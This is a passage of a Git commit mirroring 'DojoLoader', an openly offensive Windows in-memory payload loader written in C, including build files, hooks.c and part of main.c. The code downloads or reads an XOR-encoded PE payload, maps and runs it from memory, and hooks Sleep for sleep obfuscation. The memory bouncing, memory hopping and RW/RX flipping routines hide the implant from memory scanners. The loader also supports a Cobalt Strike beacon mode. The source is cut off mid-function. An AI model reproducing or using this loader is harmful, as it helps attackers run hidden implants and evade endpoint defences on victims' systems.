mirror of
https://github.com/naksyn/DojoLoader
synced 2026-06-06 16:14:37 +00:00
Initial commit
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.10.34928.147
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DojoLoader", "DojoLoader\DojoLoader.vcxproj", "{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.Build.0 = Debug|x64
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.ActiveCfg = Release|x64
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.Build.0 = Release|x64
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {3BC7183A-7CA2-4158-AA41-E708A27396BC}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,159 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{c996565d-a7e8-47e6-8ce5-c62ed8ff761b}</ProjectGuid>
|
||||
<RootNamespace>DllDynamicLoader</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>DojoLoader</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalOptions>/GUARD:CF %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<ControlFlowGuard>Guard</ControlFlowGuard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="hooks.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
<ClCompile Include="memloader.c" />
|
||||
<ClCompile Include="utils.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="hooks.h" />
|
||||
<ClInclude Include="memloader.h" />
|
||||
<ClInclude Include="structs.h" />
|
||||
<ClInclude Include="utils.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,39 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="utils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="hooks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="memloader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="hooks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="memloader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="structs.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="utils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{64bc18b4-236f-4ba7-95e8-9319bcce8914}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{1300fb45-352e-496e-b774-ee7a763f6918}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,186 @@
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include "structs.h"
|
||||
#include "utils.h"
|
||||
|
||||
LPVOID oldbase;
|
||||
void (*func_ptr)(void);
|
||||
PMEM_MODULE GlobalpMemModule = NULL;
|
||||
|
||||
// Function to check if a function should be hooked
|
||||
BOOL check_hook(const char* functionName) {
|
||||
const char* hookFunctions[] = { "Sleep" };
|
||||
for (int i = 0; i < sizeof(hookFunctions) / sizeof(hookFunctions[0]); i++) {
|
||||
if (strcmp(functionName, hookFunctions[i]) == 0) {
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
BOOL SetRXonSection(LPVOID lpBase, DWORD size) {
|
||||
DWORD dwOldProtect;
|
||||
if (FALSE == VirtualProtect(lpBase, size, PAGE_EXECUTE_READ, &dwOldProtect)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL SetRWonSection(LPVOID lpBase, DWORD size) {
|
||||
DWORD dwOldProtect;
|
||||
if (FALSE == VirtualProtect(lpBase, size, PAGE_READWRITE, &dwOldProtect)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Hook function for Sleep
|
||||
void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds) {
|
||||
printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds);
|
||||
|
||||
printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE);
|
||||
memcpy(DllPayload.tempPEdatabuffer, DllPayload.startOfMappedPE, DllPayload.mappedimagesize);
|
||||
|
||||
printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize);
|
||||
XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
|
||||
|
||||
// free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase)
|
||||
printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE);
|
||||
if (FALSE == VirtualFree(DllPayload.startOfMappedPE, 0, MEM_RELEASE)) {
|
||||
printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
SleepEx(dwMilliseconds, FALSE);
|
||||
printf("[+] End Sleep\n");
|
||||
|
||||
printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE);
|
||||
LPVOID lpBase = VirtualAlloc((LPVOID)DllPayload.startOfMappedPE, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (lpBase == NULL) {
|
||||
printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
if (DllPayload.tempPEdatabuffer == NULL) {
|
||||
printf("[+] Error: Destination pointer is NULL\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// xoring the temp pe buffer
|
||||
|
||||
printf("[+] XORing buffer at address %#llx for size %#llx\n",(unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize);
|
||||
XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
|
||||
printf("[+] Copying buffer\n");
|
||||
memcpy(lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize);
|
||||
printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase);
|
||||
printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize);
|
||||
XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
|
||||
|
||||
|
||||
printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase);
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds) {
|
||||
printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds);
|
||||
|
||||
void* returnAddress = _ReturnAddress();
|
||||
|
||||
printf("[+] Return Address: %p\n", returnAddress);
|
||||
|
||||
|
||||
printf("[+] copying %u (%#llx) bytes from address %#llx to buffer for later use\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase);
|
||||
|
||||
if (DllPayload.tempPEdatabuffer != NULL) {
|
||||
free(DllPayload.tempPEdatabuffer);
|
||||
DllPayload.tempPEdatabuffer = NULL;
|
||||
}
|
||||
|
||||
// Allocate new memory and copy data into it
|
||||
DllPayload.tempPEdatabuffer = malloc(DllPayload.mappedimagesize);
|
||||
if (DllPayload.tempPEdatabuffer == NULL) {
|
||||
// Handle error
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(DllPayload.tempPEdatabuffer, pMemModule->lpBase, DllPayload.mappedimagesize);
|
||||
|
||||
// free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase)
|
||||
printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)pMemModule->lpBase);
|
||||
if (FALSE == VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE)) {
|
||||
printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
SleepEx(dwMilliseconds, FALSE);
|
||||
printf("[+] End Sleep\n");
|
||||
|
||||
|
||||
oldbase = pMemModule->lpBase;
|
||||
LPVOID temp = (char*)pMemModule->lpBase + 0x100000;
|
||||
printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)temp);
|
||||
pMemModule->lpBase = VirtualAlloc(temp, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (pMemModule->lpBase == NULL) {
|
||||
printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
LONGLONG ldeltahop = (PBYTE)returnAddress - (PBYTE)oldbase; //this is the offset from the start of the PE to the return address we should jump to
|
||||
void* NewReturnAddress = (PBYTE)pMemModule->lpBase + ldeltahop;
|
||||
|
||||
|
||||
printf("[+] Copying %u (%#llx) bytes from buffer to address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase);
|
||||
|
||||
if (DllPayload.tempPEdatabuffer == NULL) {
|
||||
printf("[+] Error: Destination pointer is NULL\n");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
memcpy(pMemModule->lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize);
|
||||
printf("[+] Copied %u (%#llx) bytes at address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase);
|
||||
doRelocations(pMemModule);
|
||||
func_ptr = (void (*)(void))NewReturnAddress;
|
||||
printf("[+] Jump Address: %p\n", NewReturnAddress);
|
||||
func_ptr();
|
||||
|
||||
|
||||
}
|
||||
|
||||
void WINAPI SleepHookRWRX(DWORD dwMilliseconds) {
|
||||
|
||||
printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds);
|
||||
|
||||
printf("[+] Setting RW permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr,(unsigned long long)DllPayload.execRegionSize);
|
||||
if (FALSE == SetRWonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) {
|
||||
DWORD dwError = GetLastError();
|
||||
printf("[!] Error: Failed to set RW on section. Error code: %lu\n", dwError);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
|
||||
XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey);
|
||||
|
||||
SleepEx(dwMilliseconds, FALSE);
|
||||
printf("[+] End Sleep\n");
|
||||
|
||||
|
||||
printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
|
||||
XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey);
|
||||
|
||||
|
||||
printf("[+] Setting RX permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
|
||||
if (FALSE == SetRXonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) {
|
||||
DWORD dwError = GetLastError();
|
||||
printf("[!] Error: Failed to set RX on section. Error code: %lu\n", dwError);
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds);
|
||||
void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds);
|
||||
void WINAPI SleepHookRWRX(DWORD dwMilliseconds);
|
||||
BOOL SetRWonSection(LPVOID lpBase, DWORD size);
|
||||
BOOL SetRXonSection(LPVOID lpBase, DWORD size);
|
||||
|
||||
BOOL check_hook(const char* functionName);
|
||||
@@ -0,0 +1,197 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include "memloader.h"
|
||||
#include "utils.h"
|
||||
#include "structs.h"
|
||||
#include "hooks.h"
|
||||
|
||||
|
||||
|
||||
typedef void** HMEMMODULE;
|
||||
|
||||
struct CONFIG Configs = { .SleepXorKey = "DefaultSleepXorKey_changeme"};
|
||||
|
||||
PVOID lpBaseArray[SIZE_ARRAY] = { 0 };
|
||||
SIZE_T TSizeArray[SIZE_ARRAY] = { 0 };
|
||||
int index = 0;
|
||||
|
||||
|
||||
DWORD Run(PVOID pDllBytes) {
|
||||
DWORD Error;
|
||||
HMEMMODULE hMemModule = NULL;
|
||||
hMemModule = LoadMod(pDllBytes, TRUE, &Error);
|
||||
DllPayload.Module = hMemModule;
|
||||
return Error;
|
||||
}
|
||||
|
||||
void FreeRawModule(PVOID pDllBytes) {
|
||||
printf("\n");
|
||||
for (int i = 0; i < index ; i++){
|
||||
|
||||
if (!VirtualFree(lpBaseArray[i], TSizeArray[i], MEM_DECOMMIT)) {
|
||||
printf("\t[i] VirtualFree error: %d at index : %d \n", GetLastError(), i);
|
||||
}
|
||||
}
|
||||
if (DllPayload.BytesNumber){
|
||||
ZeroMemory(pDllBytes, DllPayload.BytesNumber);
|
||||
}
|
||||
}
|
||||
|
||||
void printHelp(wchar_t* programNameW) {
|
||||
char programNameA[260];
|
||||
WideCharToMultiByte(CP_UTF8, 0, programNameW, -1, programNameA, sizeof(programNameA), NULL, NULL);
|
||||
|
||||
wprintf(L"Usage: %ls -d <url> | -f <file> [-k <key>] [-s <function>] [-beacon]\n", programNameW);
|
||||
printf("Options:\n");
|
||||
printf(" -d -download <url> \t Load PE from the specified URL\n");
|
||||
printf(" -f -file <file> \t\t Load PE from the specified file\n");
|
||||
printf(" -k -key <key> \t\t XOR the payload with the specified key\n");
|
||||
printf(" -s -sleep <1 (membounce),2 (memhop),3 (RWRX)> \t Sleep Obfuscation techniques:\n\t\t 1 or membounce for MemoryBouncing\n\t\t 2 or memhop for Memory Hopping (choose a compatible payload)\n\t\t 3 or RWRX for classic RW->RX \n");
|
||||
printf(" -beacon \t\t use Cobalt Strike UDRL-les Beacon payload execution method\n");
|
||||
printf(" -h \t\t\t print this help\n");
|
||||
}
|
||||
|
||||
int wmain(int argc, wchar_t* argv[]) {
|
||||
BOOL Succ;
|
||||
PVOID pDllBytes;
|
||||
HMEMMODULE hMemModule = NULL;
|
||||
DWORD Error;
|
||||
char* url = NULL;
|
||||
char* filePath = NULL;
|
||||
char* key = NULL;
|
||||
|
||||
LPWSTR* szArglist;
|
||||
int nArgs;
|
||||
|
||||
szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
|
||||
if (NULL == szArglist) {
|
||||
wprintf(L"CommandLineToArgvW fail\n");
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
for (int i = 0; i < nArgs; i++) {
|
||||
printf("%d: %ws\n", i, szArglist[i]);
|
||||
}
|
||||
}
|
||||
|
||||
printf(
|
||||
"______ _ _ _ \n"
|
||||
"| _ \\ (_) | | | | \n"
|
||||
"| | | |___ _ ___ | | ___ __ _ __| | ___ _ __ \n"
|
||||
"| | | / _ \\| |/ _ \\| | / _ \\ / _` |/ _` |/ _ \\ '__|\n"
|
||||
"| |/ / (_) | | (_) | |___| (_) | (_| | (_| | __/ | \n"
|
||||
"|___/ \\___/| |\\___/\\_____ \\___/ \\__,_|\\__,_|\\___|_| \n"
|
||||
" _/ | \n"
|
||||
" |__/ \n"
|
||||
"\nAuthor: @naksyn\n\n"
|
||||
);
|
||||
|
||||
|
||||
if (argc == 1) {
|
||||
printHelp(argv[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (int i = 0; i < nArgs; i++) {
|
||||
if (wcscmp(szArglist[i], L"-h") == 0) {
|
||||
printHelp(argv[0]);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 1; i < nArgs; i++) {
|
||||
if (wcscmp(szArglist[i], L"-download") == 0 || wcscmp(szArglist[i], L"-d") == 0 && i + 1 < nArgs) {
|
||||
int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL);
|
||||
url = (char*)malloc(bufferSize);
|
||||
WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, url, bufferSize, NULL, NULL);
|
||||
}
|
||||
else if (wcscmp(szArglist[i], L"-file") == 0 || wcscmp(szArglist[i], L"-f") == 0 && i + 1 < nArgs) {
|
||||
int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL);
|
||||
filePath = (char*)malloc(bufferSize);
|
||||
WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, filePath, bufferSize, NULL, NULL);
|
||||
}
|
||||
else if (wcscmp(szArglist[i], L"-key") == 0 || wcscmp(szArglist[i], L"-k") == 0 && i + 1 < nArgs) {
|
||||
int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL);
|
||||
key = (char*)malloc(bufferSize);
|
||||
WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, key, bufferSize, NULL, NULL);
|
||||
Configs.XorKey = key;
|
||||
}
|
||||
else if (wcscmp(szArglist[i], L"-beacon") == 0) {
|
||||
Configs.Beacon = TRUE;
|
||||
}
|
||||
else if (wcscmp(szArglist[i], L"-sleep") == 0 || wcscmp(szArglist[i], L"-s") == 0 && i + 1 < nArgs) {
|
||||
if (wcscmp(szArglist[++i], L"1") == 0 || wcscmp(szArglist[i], L"membounce") == 0) {
|
||||
Configs.SleepHookFunc = SleepHookMemoryBouncing;
|
||||
}
|
||||
else if (wcscmp(szArglist[i], L"2") == 0 || wcscmp(szArglist[i], L"memhop") == 0) {
|
||||
Configs.SleepHookFunc = SleepHookMemoryHopping;
|
||||
}
|
||||
else if (wcscmp(szArglist[i], L"3") == 0 || wcscmp(szArglist[i], L"RWRX") == 0) {
|
||||
Configs.SleepHookFunc = SleepHookRWRX;
|
||||
}
|
||||
else {
|
||||
wprintf(L"Unknown function: %ws\n", szArglist[i]);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
wprintf(L"[!] Unknown option: %ws\n", szArglist[i]);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("URL: %s\n", url);
|
||||
if (url != NULL) {
|
||||
DWORD size;
|
||||
char* data = DownloadFile(url, &size);
|
||||
if (data != NULL)
|
||||
{
|
||||
if (Configs.XorKey != NULL) {
|
||||
printf("[!] Xoring payload with key: %s\n", Configs.XorKey);
|
||||
XORWithKey(data, size, Configs.XorKey);
|
||||
}
|
||||
DllPayload.BytesNumber = size;
|
||||
DllPayload.pDllBytes = data;
|
||||
}
|
||||
else {
|
||||
printf("[!] DownloadFile Failed With Error: %d \n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if (filePath != NULL) {
|
||||
Succ = ReadDllFile(filePath);
|
||||
if (!Succ) {
|
||||
